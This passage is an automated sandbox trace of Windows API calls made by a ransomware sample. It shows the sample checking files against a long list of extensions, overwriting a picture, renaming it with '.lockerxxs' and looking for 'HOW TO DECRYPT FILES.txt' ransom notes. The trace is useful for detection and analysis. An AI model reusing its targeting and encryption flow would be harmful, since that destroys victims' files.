pszSpec="*.dat") returned 0 [0090.918] lstrlenA (lpString="*.dat") returned 5 [0090.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.txt") returned 0 [0090.918] lstrlenA (lpString="*.txt") returned 5 [0090.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.jpeg") returned 0 [0090.918] lstrlenA (lpString="*.jpeg") returned 6 [0090.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", pszSpec="*.jpg") returned 1 [0090.918] lstrlenA (lpString="*.jpg") returned 5 [0090.918] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg" [0090.918] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg" [0090.918] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg." [0090.918] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg.lockerxxs" [0090.918] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\2h7u3v.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.919] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x121c4 [0090.919] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xa9b662f0, dwHighDateTime=0x1d5e5a3), lpLastAccessTime=0x407536*(dwLowDateTime=0x50112ce0, dwHighDateTime=0x1d5d7ab), lpLastWriteTime=0x40753e*(dwLowDateTime=0x50112ce0, dwHighDateTime=0x1d5d7ab)) returned 1 [0090.919] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.919] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1219e, lpOverlapped=0x0) returned 1 [0090.921] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg") returned="2H7u3V.jpg" [0090.922] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.922] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1219e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1219e, lpOverlapped=0x0) returned 1 [0090.922] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.922] CloseHandle (hObject=0x90) returned 1 [0090.923] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\2h7u3v.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\2h7u3v.jpg.lockerxxs")) returned 1 [0090.924] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ccdb170, ftCreationTime.dwHighDateTime=0x1d5e779, ftLastAccessTime.dwLowDateTime=0x12741250, ftLastAccessTime.dwHighDateTime=0x1d5e695, ftLastWriteTime.dwLowDateTime=0x12741250, ftLastWriteTime.dwHighDateTime=0x1d5e695, nFileSizeHigh=0x0, nFileSizeLow=0xf67d, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName="5AEs.bmp", cAlternateFileName="")) returned 1 [0090.924] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.924] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5AEs.bmp") returned 1 [0090.924] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5AEs.bmp") returned 1 [0090.924] lstrcmpiA (lpString1="", lpString2="5AEs.bmp") returned -1 [0090.924] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\2H7u3V.jpg") returned="2H7u3V.jpg" [0090.924] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\" [0090.924] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\") returned="" [0090.924] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\HOW TO DECRYPT FILES.txt" [0090.924] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\how to decrypt files.txt")) returned 0x20 [0090.924] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\", lpString2="5AEs.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp" [0090.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.ems") returned 0 [0090.925] lstrlenA (lpString="*.ems") returned 5 [0090.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.db") returned 0 [0090.925] lstrlenA (lpString="*.db") returned 4 [0090.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.dbf") returned 0 [0090.925] lstrlenA (lpString="*.dbf") returned 5 [0090.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.myox") returned 0 [0090.925] lstrlenA (lpString="*.myox") returned 6 [0090.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.myo") returned 0 [0090.925] lstrlenA (lpString="*.myo") returned 5 [0090.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.qbw") returned 0 [0090.925] lstrlenA (lpString="*.qbw") returned 5 [0090.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.qbb") returned 0 [0090.925] lstrlenA (lpString="*.qbb") returned 5 [0090.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.qbm") returned 0 [0090.925] lstrlenA (lpString="*.qbm") returned 5 [0090.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.qbo") returned 0 [0090.925] lstrlenA (lpString="*.qbo") returned 5 [0090.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.qbx") returned 0 [0090.925] lstrlenA (lpString="*.qbx") returned 5 [0090.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.qba") returned 0 [0090.925] lstrlenA (lpString="*.qba") returned 5 [0090.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.qby") returned 0 [0090.926] lstrlenA (lpString="*.qby") returned 5 [0090.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.qbj") returned 0 [0090.926] lstrlenA (lpString="*.qbj") returned 5 [0090.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.ofx") returned 0 [0090.926] lstrlenA (lpString="*.ofx") returned 5 [0090.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.qif") returned 0 [0090.926] lstrlenA (lpString="*.qif") returned 5 [0090.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.mye") returned 0 [0090.926] lstrlenA (lpString="*.mye") returned 5 [0090.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.mbox") returned 0 [0090.926] lstrlenA (lpString="*.mbox") returned 6 [0090.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.eml") returned 0 [0090.926] lstrlenA (lpString="*.eml") returned 5 [0090.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.pst") returned 0 [0090.926] lstrlenA (lpString="*.pst") returned 5 [0090.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.ost") returned 0 [0090.926] lstrlenA (lpString="*.ost") returned 5 [0090.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.idx") returned 0 [0090.926] lstrlenA (lpString="*.idx") returned 5 [0090.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.dbx") returned 0 [0090.927] lstrlenA (lpString="*.dbx") returned 5 [0090.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.sql") returned 0 [0090.927] lstrlenA (lpString="*.sql") returned 5 [0090.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.mdb") returned 0 [0090.927] lstrlenA (lpString="*.mdb") returned 5 [0090.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.fdb") returned 0 [0090.927] lstrlenA (lpString="*.fdb") returned 5 [0090.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.wab") returned 0 [0090.927] lstrlenA (lpString="*.wab") returned 5 [0090.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.dat") returned 0 [0090.927] lstrlenA (lpString="*.dat") returned 5 [0090.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.txt") returned 0 [0090.927] lstrlenA (lpString="*.txt") returned 5 [0090.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.jpeg") returned 0 [0090.927] lstrlenA (lpString="*.jpeg") returned 6 [0090.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.jpg") returned 0 [0090.927] lstrlenA (lpString="*.jpg") returned 5 [0090.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.png") returned 0 [0090.927] lstrlenA (lpString="*.png") returned 5 [0090.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.php") returned 0 [0090.927] lstrlenA (lpString="*.php") returned 5 [0090.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.cs") returned 0 [0090.928] lstrlenA (lpString="*.cs") returned 4 [0090.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.cpp") returned 0 [0090.928] lstrlenA (lpString="*.cpp") returned 5 [0090.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.rar") returned 0 [0090.928] lstrlenA (lpString="*.rar") returned 5 [0090.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.zip") returned 0 [0090.928] lstrlenA (lpString="*.zip") returned 5 [0090.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.html") returned 0 [0090.928] lstrlenA (lpString="*.html") returned 6 [0090.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.htm") returned 0 [0090.928] lstrlenA (lpString="*.htm") returned 5 [0090.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.xlsx") returned 0 [0090.928] lstrlenA (lpString="*.xlsx") returned 6 [0090.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.xls") returned 0 [0090.928] lstrlenA (lpString="*.xls") returned 5 [0090.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.mp4") returned 0 [0090.928] lstrlenA (lpString="*.mp4") returned 5 [0090.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.ppt") returned 0 [0090.928] lstrlenA (lpString="*.ppt") returned 5 [0090.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.pptx") returned 0 [0090.928] lstrlenA (lpString="*.pptx") returned 6 [0090.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.doc") returned 0 [0090.929] lstrlenA (lpString="*.doc") returned 5 [0090.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.dot") returned 0 [0090.929] lstrlenA (lpString="*.dot") returned 5 [0090.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.docx") returned 0 [0090.929] lstrlenA (lpString="*.docx") returned 6 [0090.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.7z") returned 0 [0090.929] lstrlenA (lpString="*.7z") returned 4 [0090.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.tar") returned 0 [0090.929] lstrlenA (lpString="*.tar") returned 5 [0090.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.bz2") returned 0 [0090.929] lstrlenA (lpString="*.bz2") returned 5 [0090.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.gz") returned 0 [0090.929] lstrlenA (lpString="*.gz") returned 4 [0090.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.mkv") returned 0 [0090.930] lstrlenA (lpString="*.mkv") returned 5 [0090.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.eml") returned 0 [0090.930] lstrlenA (lpString="*.eml") returned 5 [0090.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.msg") returned 0 [0090.930] lstrlenA (lpString="*.msg") returned 5 [0090.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.edb") returned 0 [0090.930] lstrlenA (lpString="*.edb") returned 5 [0090.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.accdb") returned 0 [0090.930] lstrlenA (lpString="*.accdb") returned 7 [0090.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.odb") returned 0 [0090.930] lstrlenA (lpString="*.odb") returned 5 [0090.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.java") returned 0 [0090.930] lstrlenA (lpString="*.java") returned 6 [0090.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.asm") returned 0 [0090.930] lstrlenA (lpString="*.asm") returned 5 [0090.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.pfx") returned 0 [0090.931] lstrlenA (lpString="*.pfx") returned 5 [0090.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.pem") returned 0 [0090.931] lstrlenA (lpString="*.pem") returned 5 [0090.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.p12") returned 0 [0090.931] lstrlenA (lpString="*.p12") returned 5 [0090.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.gpg") returned 0 [0090.931] lstrlenA (lpString="*.gpg") returned 5 [0090.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.vsd") returned 0 [0090.931] lstrlenA (lpString="*.vsd") returned 5 [0090.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.odg") returned 0 [0090.931] lstrlenA (lpString="*.odg") returned 5 [0090.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.raw") returned 0 [0090.931] lstrlenA (lpString="*.raw") returned 5 [0090.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.nef") returned 0 [0090.931] lstrlenA (lpString="*.nef") returned 5 [0090.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.svg") returned 0 [0090.931] lstrlenA (lpString="*.svg") returned 5 [0090.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.psd") returned 0 [0090.931] lstrlenA (lpString="*.psd") returned 5 [0090.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.vmx") returned 0 [0090.931] lstrlenA (lpString="*.vmx") returned 5 [0090.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.vmdk") returned 0 [0090.932] lstrlenA (lpString="*.vmdk") returned 6 [0090.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.vdi") returned 0 [0090.932] lstrlenA (lpString="*.vdi") returned 5 [0090.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.lay6") returned 0 [0090.932] lstrlenA (lpString="*.lay6") returned 6 [0090.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.mpeg") returned 0 [0090.932] lstrlenA (lpString="*.mpeg") returned 6 [0090.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.djvu") returned 0 [0090.932] lstrlenA (lpString="*.djvu") returned 6 [0090.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.tiff") returned 0 [0090.932] lstrlenA (lpString="*.tiff") returned 6 [0090.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.backup") returned 0 [0090.932] lstrlenA (lpString="*.backup") returned 8 [0090.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.pdf") returned 0 [0090.932] lstrlenA (lpString="*.pdf") returned 5 [0090.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.cert") returned 0 [0090.932] lstrlenA (lpString="*.cert") returned 6 [0090.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.docm") returned 0 [0090.932] lstrlenA (lpString="*.docm") returned 6 [0090.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.xlsm") returned 0 [0090.933] lstrlenA (lpString="*.xlsm") returned 6 [0090.933] PathMatchSpecA 